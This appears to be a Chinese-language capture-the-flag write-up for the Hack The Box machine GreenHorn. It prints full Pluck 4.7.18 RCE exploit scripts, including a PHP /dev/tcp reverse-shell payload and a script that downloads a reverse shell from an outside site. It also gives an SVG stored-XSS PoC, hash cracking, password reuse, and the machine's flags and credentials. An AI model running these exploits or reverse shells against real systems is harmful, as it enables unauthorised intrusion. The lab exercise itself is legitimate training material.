HTB:GreenHorn[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机TCP端口进行开放扫描

再次使用nmap对这三个端口进行脚本、服务扫描

尝试先通过curl访问靶机80端口

将靶机IP与该域名写入hosts使DNS本地解析

使用浏览器访问greenhorn.htb

使用Wappalyzer插件查看该页面技术栈

尝试在searchsploit搜索该CMS漏洞

这里使用curl访问login_url、upload_url都是响应404

使用ffuf尝试寻找该域名的子域

使用浏览器直接访问/admin.php

再次通过searchsploit搜索该CMS漏洞

回到一开头的RCE漏洞

尝试使用浏览器访问靶机3000端口页面

判断该哈希值类型

回到登录界面,这次成功登录了

横向移动

USER_FLAG:fb721ba08d0f33ea2db2435988373890

权限提升

靶机通过python3开启一个http服务

尝试复原马赛克原文

ROOT_FLAG:c279c1f9e7a93817a0d31cfa95205a62


连接至HTB服务器并启动靶机

靶机IP:10.10.11.25

分配IP:10.10.14.12


使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.25

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.25

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 06:59 EST

Warning: 10.10.11.25 giving up on port because retransmission cap hit (2).

Nmap scan report for 10.10.11.25 (10.10.11.25)

Host is up (0.066s latency).

Not shown: 65433 closed tcp ports (reset), 99 filtered tcp ports (no-response)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 46.13 seconds

可见开放端口:22、80、3000

再次使用nmap对这三个端口进行脚本、服务扫描

nmap -p 22,80,3000 -sCV 10.10.11.25

尝试先通过curl访问靶机80端口

curl -I http://10.10.11.25

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# curl -I http://10.10.11.25

HTTP/1.1 302 Moved Temporarily

Server: nginx/1.18.0 (Ubuntu)

Date: Fri, 08 Nov 2024 11:51:57 GMT

Content-Type: text/html

Content-Length: 154

Connection: keep-alive

Location: http://greenhorn.htb/

发现被重定位到:greenhorn.htb

将靶机IP与该域名写入hosts使DNS本地解析

echo '10.10.11.25 greenhorn.htb' >> /etc/hosts

使用浏览器访问greenhorn.htb

点击下方的admin 会跳转到**/login.php**

通过该页面信息可以判断,该CMS版本为:4.7.18

使用Wappalyzer插件查看该页面技术栈


尝试在searchsploit搜索该CMS漏洞

searchsploit pluck

在searchsploit可以看到4.7.18是存在一个RCE漏洞的,直接把相关EXP拷贝到当前目录下

searchsploit -m 51592.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# searchsploit -m 51592.py

Exploit: Pluck v4.7.18 - Remote Code Execution (RCE)

URL: https://www.exploit-db.com/exploits/51592

Path: /usr/share/exploitdb/exploits/php/webapps/51592.py

Codes: N/A

Verified: False

File Type: Python script, Unicode text, UTF-8 text executable

Copied to: /home/kali/Desktop/temp/51592.py

查看该EXP代码

cat 51592.py

#Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
#Application: pluck
#Version: 4.7.18
#Bugs:  RCE
#Technology: PHP
#Vendor URL: https://github.com/pluck-cms/pluck
#Software Link: https://github.com/pluck-cms/pluck
#Date of found: 10-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux


import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://localhost/pluck/login.php"
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")


    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)


    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"

rce=requests.get(rce_url)

print(rce.text)

这里使用curl访问login_url、upload_url都是响应404

curl -I http://greenhorn.htb/pluck/login.php

curl -I http://greenhorn.htb/pluck/admin.php?action=installmodule

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# curl -I http://greenhorn.htb/pluck/login.php

HTTP/1.1 404 Not Found

Server: nginx/1.18.0 (Ubuntu)

Date: Fri, 08 Nov 2024 12:01:40 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# curl -I http://greenhorn.htb/pluck/admin.php?action=installmodule

HTTP/1.1 404 Not Found

Server: nginx/1.18.0 (Ubuntu)

Date: Fri, 08 Nov 2024 12:01:57 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

这并不意味着这个EXP是不可用的,因为靶机的admin.php和login.php均不在pluck路径下


使用ffuf尝试寻找该域名的子域

ffuf -u http://greenhorn.htb/ -H 'Host: FUZZ.greenhorn.htb' -w ../dictionary/subdomains-top5000.txt -fc 302

眼见扫不出子域,只能尝试路径FUZZ了

ffuf -u http://greenhorn.htb/FUZZ -w ../dictionary/common.txt -fc 302

这里扫出了一个admin.php,而一开头点击admin会跳转至login.php

而searchsploit搜索该CMS相关漏洞时,除了一个RCE,还有一个存储型XSS...

使用浏览器直接访问**/admin.php**

可以看到是成功访问了的,但因为session或者cookie的原因没有通过访问

考虑是通过存储型XSS获取管理员Cookie然后登录后台面板?


再次通过searchsploit搜索该CMS漏洞

searchsploit pluck

取出该存储型XSS相关PoC

searchsploit -m 51420.txt

查看该PoC内容

cat 51420.txt

Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
Application: pluck
Version: 4.7.18
Bugs:  XSS
Technology: PHP
Vendor URL: https://github.com/pluck-cms/pluck
Software Link: https://github.com/pluck-cms/pluck
Date of found: 01-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
steps:

1. create .svg file.
2. svg file content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)

poc request


POST /pluck-4.7.18/admin.php?action=files HTTP/1.1
Host: localhost
Content-Length: 672
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pluck-4.7.18/admin.php?action=files
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de
Connection: close

------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryJMTiFxESCx7aNqmI--



4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg 

发现这玩意是需要进入admin.php下才能进行POST操作的...


回到一开头的RCE漏洞

我重新到Github找到了其他的EXP

#!/bin/bash

# Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
# Application: pluck
# Version: 4.7.18
# Bugs: RCE
# Technology: PHP
# Vendor URL: https://github.com/pluck-cms/pluck
# Date of found: 10-07-2023
# Author: Mirabbas Ağalarov
# Tested on: Linux

# Start the timer
start_time=$(date +%s)

# Default variables for host, IP, Port, and Password
host=""
ip=""
port=""
password=""
cookie=""

# Function to display usage help
usage() {
    echo "Usage: $0 -h <Host> -p <Password> -i <IP> -P <Port>"
    echo "   -h  Set the host URL (e.g., xyz.htb)"
    echo "   -P  Set the password for the platform"
    echo "   -i  Set the IP address for the reverse shell"
    echo "   -p  Set the Port number for the reverse shell"
    exit 1
}

# Parse command-line arguments
while getopts "h:p:i:P:" opt; do
  case "$opt" in
    h) host="$OPTARG" ;;
    P) password="$OPTARG" ;;
    i) ip="$OPTARG" ;;
    p) port="$OPTARG" ;;
    *) usage ;;
  esac
done

# Check if required arguments are provided
if [ -z "$host" ] || [ -z "$ip" ] || [ -z "$port" ] || [ -z "$password" ]; then
    echo "Error: Host, IP, Port, and Password are required."
    usage
fi

# Loop until Netcat is running on the specified port
while true; do
    nc_check=$(netstat -an | grep ":$port" | grep "LISTEN")
    
    if [ -z "$nc_check" ]; then
        echo "Start a listener using 'nc -nvlp $port' before uploading the exploit."
        sleep 5  # Wait for 5 seconds before checking again
    else
        echo "Netcat listener detected on port $port."
        break
    fi
done

# Set URLs for login, upload, and RCE paths
login_url="http://$host/login.php"
upload_url="http://$host/admin.php?action=installmodule"
rce_url="http://$host/data/modules/loverce/love.php"

# Function to extract and store the session cookie
extract_cookie() {
    cookie=$(echo "$1" | grep -oP '(?<=Set-Cookie: )PHPSESSID=[^;]+')
    echo "Extracted Cookie: $cookie"
}

# Download the reverse shell PHP exploit
echo "Downloading reverse shell PHP exploit..."
exploit_url="https://www.revshells.com/PHP%20PentestMonkey?ip=$ip&port=$port&shell=bash&encoding=bash"
curl -sL "$exploit_url" -o reverse_shell.php

# Check if the download was successful
if [ ! -f reverse_shell.php ]; then
    echo "Error downloading reverse shell exploit."
    exit 1
fi

# Rename reverse_shell.php to love.php (to match the RCE path)
mv reverse_shell.php love.php

# Zip the reverse shell and clean up the PHP file
zip_filename="loverce.zip"
zip -r "$zip_filename" love.php
rm love.php
echo "Exploit zipped as $zip_filename and original PHP file removed."

# Set login payload with only password
login_payload="cont1=$password&bogus=&submit=Log+in"

# Attempt login, follow redirects with -L, and extract the cookie
login_response=$(curl -s -i -L -X POST -d "$login_payload" "$login_url" -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" -H "Referer: http://$host/login.php" -H "Origin: http://$host" -H "Connection: keep-alive")

# Extract session cookie
extract_cookie "$login_response"

# Check if login was successful
if echo "$login_response" | grep -q "Password correct. Logging you in..."; then
    echo "Login successful!"

    # Upload the ZIP file using the extracted cookie
    upload_response=$(curl -s -i -X POST -F "sendfile=@$zip_filename;type=application/zip" -F "submit=Upload" "$upload_url" -H "Cookie: $cookie")

    # Check if upload was successful
    if echo "$upload_response" | grep -q "HTTP/1.1 200 OK"; then
        echo "ZIP file uploaded successfully."
        
        # Inform the user that RCE is triggered
        echo "RCE is waiting for you, please go take a look."

        # Add a short delay before triggering the RCE
        sleep 5
        
        # Execute the RCE request using the extracted cookie (suppress 504 error)
        rce_response=$(curl -s -H "Cookie: $cookie" "$rce_url" || true)

        # Clean output (don't show 504 Gateway Time-out)
        if [[ ! "$rce_response" =~ "504 Gateway Time-out" ]]; then
            echo "$rce_response"
        fi

        # Calculate the time taken to complete the script
        end_time=$(date +%s)
        duration=$((end_time - start_time))
        echo "Script terminated. Total time taken: $duration seconds."

        exit 0
    else
        echo "Error uploading ZIP file. Check response."
        exit 1
    fi
else
    echo "Login failed."
    # Print login response for debugging
    echo "$login_response"
    exit 1
fi

这个EXP看起来就好多了,应该是针对HTB这个靶机写的(这算作弊么)

对该EXP进行代码审计可知,这需要我们拿到该CMS的管理员密码才可进行利用

当我用弱口令TOP20000跑了半天,我就知道这里必然不是弱口令T_T

打开浏览器一看,天都塌了,居然被封了五分钟


(此时我突然想起了一开头我们nmap扫描时一共扫出了三个端口)

尝试使用浏览器访问靶机3000端口页面

右上角居然还有一个注册按钮,那我们就来注册一个test账户,密码八个八

账户:test

密码:88888888

回到登录界面,发现不对啊,只能用admin用户登录T_T

回到靶机3000端口页面,在探索栏目下可以看到网页源码

点击login.php,看看会不会有敏感信息的泄露

发现源码中出现了一个pass.php?尝试去看看它的内容

这哈希密码就直接写在这文件里了,服了

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163

判断该哈希值类型

SHA512在hashcat中的参数为:1700

尝试通过弱口令字典爆破,将哈希值写入文件中

echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' > hash

对该哈希值进行爆破

hashcat -m 1700 hash -a 0 ../dictionary/rockyou.txt --quiet 

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# hashcat -m 1700 hash -a 0 ../dictionary/rockyou.txt --quiet

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
账户:admin

密码:iloveyou1


回到登录界面,这次成功登录了

但似乎两个EXP都没有用上,而且配置好正确密码后没一个能利用成功的

这次找到了一个直接可用的EXP

#!/usr/bin/python3
import os
import zipfile
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import argparse

def create_payload(ip_attack, port_attack):
    print('[+] Creating payload')
    return f"<?php echo system(\"bash -c 'exec bash -i &>/dev/tcp/{ip_attack}/{port_attack} <&1'\")?>"

def create_file(ip, port, file_name_php):
    payload_content = create_payload(ip, port)
    print(f"[+] {'Creating' if not os.path.exists(file_name_php) else 'Overwriting'} .php file")
    with open(file_name_php, 'w') as payload_file:
        payload_file.write(payload_content)
    return file_name_php

def create_zip(file):
    zip_file_name = 'malicious_file.zip'
    print('[+] Creating ZIP file')
    with zipfile.ZipFile(zip_file_name, 'w') as zipf:
        zipf.write(file)
    return zip_file_name

def upload_zip_malicious(file_name_zip, host, password,file_name_php):
    login_url = f"{host}/login.php"
    upload_url = f"{host}/admin.php?action=installmodule"
    headers = {"Referer": login_url}
    login_payload = {"cont1": password, "bogus": "", "submit": "Log in"}

    with requests.Session() as session:
        login_response = session.post(login_url, headers=headers, data=login_payload)

        if login_response.status_code == 200:
            print("Login successful")
            with open(file_name_zip, "rb") as f:
                multipart_data = MultipartEncoder(
                    fields={
                        "sendfile": ("mirabbas.zip", f, "application/zip"),
                        "submit": "Upload"
                    }
                )

                upload_headers = {
                    "Referer": upload_url,
                    "Content-Type": multipart_data.content_type
                }

                upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

                if upload_response.status_code == 200:
                    print("[+] ZIP file uploaded successfully")
                else:
                    print("[+] Error uploading ZIP file. Response code:", upload_response.status_code)
        else:
            print("[+] Login failed. Response code:", login_response.status_code)

        rce_url = f"{host}/data/modules/mirabbas/{file_name_php}"
        rce_response = session.get(rce_url)
        
        #print(rce_response.text)
        

def main():
    parser = argparse.ArgumentParser(description='Script to create and upload a malicious ZIP file.')
    parser.add_argument('--password', required=True, help='Password login')
    parser.add_argument('--filename', default='malicious.php', help='Name of the PHP file to be created')
    parser.add_argument('--ip', required=True, help='Attack IP ')
    parser.add_argument('--port', required=True, help='Attack Port')
    parser.add_argument('--host', required=True, help='Target host URL')

    args = parser.parse_args()

    file = create_file(args.ip, args.port, args.filename)
    zip_file = create_zip(file)
    upload_zip_malicious(zip_file, args.host, args.password,args.filename)

if __name__ == '__main__':
    main()

直接通过该EXP进行漏洞利用

python exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.14.12 --port 1425 --host http://greenhorn.htb

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]

└─# nc -lvnp 1425

listening on [any] 1425 ...

connect to [10.10.14.12] from (UNKNOWN) [10.10.11.25] 39346

bash: cannot set terminal process group (1040): Inappropriate ioctl for device

bash: no job control in this shell

www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ whoami

whoami

www-data


横向移动

查看该系统内用户

cat /etc/passwd

可以看到能登录的也就三个:git、junior、root

尝试通过密码:iloveyou1切换到这些用户

www-data@greenhorn:/home$ su root

su root

Password: iloveyou1

su: Authentication failure

www-data@greenhorn:/home$ su git

su git

Password: iloveyou1

su: Authentication failure

www-data@greenhorn:/home$ su junior

su junior

Password: iloveyou1

whoami

junior

成功切换到了junior用户

账户:junior

密码:iloveyou1

提升TTY

script -c /bin/bash -q /dev/null

查找user_flag并查看其内容

junior@greenhorn:/home$ find / -name 'user.txt' 2>/dev/null

find / -name 'user.txt' 2>/dev/null

/home/junior/user.txt

junior@greenhorn:/home$ cat /home/junior/user.txt

cat /home/junior/user.txt

fb721ba08d0f33ea2db2435988373890

USER_FLAG:fb721ba08d0f33ea2db2435988373890


权限提升

查看该用户可特权执行的命令

sudo -l

junior@greenhorn:/home$ sudo -l

sudo -l

[sudo] password for junior: iloveyou1

Sorry, user junior may not run sudo on greenhorn.

查看该用户所属组别

groups

junior@greenhorn:/home$ groups

groups

junior

看来只能再看看有没有配置文件或者其他敏感文件泄露密码了

junior@greenhorn:~$ pwd

pwd

/home/junior

junior@greenhorn:~$ ls

ls

user.txt 'Using OpenVAS.pdf'

这里有个莫名其妙的pdf文件,里面很可能有HTB留下的密码(毕竟是EASY难度的靶机)

靶机通过python3开启一个http服务

python3 -m http.server 6666

攻击机通过该http服务将Using OpenVAS.pdf文件进行下载

wget http://10.10.11.25:6666/'Using OpenVAS.pdf' -O 'Using OpenVAS.pdf'

把这PDF文件拖到桌面打开后还真有密码,只不过是被打码的而且还是图片

国产化后:

你好,朱尼尔,

我们最近在服务器上安装了 OpenVAS(开放式漏洞评估系统),以便积极监测和识别潜在的安全漏洞。目前,只有以我为代表的根用户有权使用以下命令执行 OpenVAS:

"sudo /usr/sbin/openvas"

输入密码:

作为你熟悉这个工具的一部分,我们鼓励你学习如何有效地使用 OpenVAS。将来,当出现提示时,你也可以通过输入相同的命令并提供你的密码来运行 OpenVAS。

如果你有任何问题或需要进一步的帮助,请随时联系我们。

祝你度过愉快的一周,

格林先生

根据该文件中的内容可知,我们运行sudo /usr/sbin/openvas命令不需要ROOT密码

sudo /usr/sbin/openvas

junior@greenhorn:~$ sudo /usr/sbin/openvas

sudo /usr/sbin/openvas

[sudo] password for junior: iloveyou1

junior is not in the sudoers file. This incident will be reported.

Emmmmmmm,看来并不是通过该文件进行权限提升的

尝试复原马赛克原文

将马赛克图片从PDF文件中提取出来

pdfimages 'Using OpenVAS.pdf' ./test

使用depix脚本进行复原

python .\depix.py -p .\test-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png

依稀能分辨:sidefromsidetheothersidesidefromsidetheotherside

使用该密码对靶机ROOT用户进行SSH服务登录

查找root_flag位置并查看其内容

root@greenhorn:~# find / -name 'root.txt'

/root/root.txt

root@greenhorn:~# cat /root/root.txt

c279c1f9e7a93817a0d31cfa95205a62

ROOT_FLAG:c279c1f9e7a93817a0d31cfa95205a62

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